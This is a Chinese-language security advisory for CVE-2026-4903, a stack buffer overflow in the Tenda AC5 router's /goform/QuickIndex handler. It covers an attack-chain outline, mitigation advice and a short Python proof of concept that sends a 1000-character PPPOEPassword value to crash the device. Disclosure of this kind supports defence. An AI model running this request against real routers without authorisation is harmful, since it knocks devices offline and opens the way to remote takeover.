IPBUF安全漏洞报告
English
CVE-2026-4903 CVSS 8.8 高危

CVE-2026-4903 Tenda AC5路由器栈溢出漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-4903
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC5 路由器

相关标签

栈溢出Tenda路由器RCE缓冲区溢出CVE-2026-4903

漏洞概述

Tenda AC5路由器在固件版本15.03.06.47中存在严重的安全漏洞。该漏洞位于Web管理接口的/goform/QuickIndex处理逻辑中,具体涉及formQuickIndex函数对PPPOEPassword参数的处理。由于缺乏足够的边界检查,攻击者可通过发送特制的恶意POST请求触发基于栈的缓冲区溢出。鉴于该漏洞可被远程利用且无需用户交互,攻击者可能借此导致设备崩溃或执行任意代码,严重威胁网络的机密性、完整性和可用性。

技术细节

该漏洞产生于Tenda AC5路由器固件v15.03.06.47的HTTP服务器模块中。具体而言,在处理来自/goform/QuickIndex接口的POST请求时,formQuickIndex函数负责解析用户提交的PPPOE拨号配置。代码中使用了不安全的字符串拷贝函数(如strcpy),直接将用户提交的PPPOEPassword参数值复制到栈上的局部缓冲区中,而未验证输入数据的长度是否超过缓冲区大小。当攻击者构造一个超长的字符串作为PPPOEPassword的值并发送请求时,多余的数据将会覆盖栈上的返回地址及相邻的寄存器状态。这种基于栈的缓冲区溢出允许攻击者控制程序的执行流(EIP/RIP),使其跳转至恶意构造的Shellcode或执行ROP链。由于CVSS向量显示攻击复杂度低(AC:L)且无需用户交互(UI:N),远程攻击者可轻易利用此漏洞获取路由器的最高控制权限,从而植入后门、窃听流量或发动进一步的内网攻击。

攻击链分析

STEP 1
侦察
攻击者通过网络扫描发现暴露的Tenda AC5路由器Web管理接口(默认端口80或443)。
STEP 2
漏洞利用
攻击者向目标路由器的/goform/QuickIndex接口发送特制的HTTP POST请求,其中包含超长的PPPOEPassword参数数据。
STEP 3
溢出触发
服务器端formQuickIndex函数处理该参数时,发生栈缓冲区溢出,覆盖返回地址,改变程序执行流程。
STEP 4
代码执行/拒绝服务
攻击者成功控制EIP指针,执行恶意代码获取Shell权限,或导致异常使路由器崩溃重启,造成网络中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/QuickIndex" # Vulnerable payload: A long string to trigger stack overflow # The exact length needed to overwrite the return address depends on the specific stack layout # 1000 characters is usually sufficient to test for crash in this context overflow_payload = "A" * 1000 # Data payload with the vulnerable parameter post_data = { "PPPOEPassword": overflow_payload } try: print(f"Sending payload to {target_url}...") # Send the malicious POST request response = requests.post(target_url, data=post_data, timeout=5) print(f"Request sent. HTTP Status Code: {response.status_code}") print("Check if the router has crashed or rebooted.") except requests.exceptions.Timeout: print("Request timed out. The device may have crashed due to the overflow.") except Exception as e: print(f"An error occurred: {e}")

影响范围

Tenda AC5 15.03.06.47

防御指南

临时缓解措施
如果无法立即升级固件,建议用户暂时关闭路由器的远程Web管理功能,并通过访问控制列表(ACL)严格限制局域网内对路由器管理页面的访问权限,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表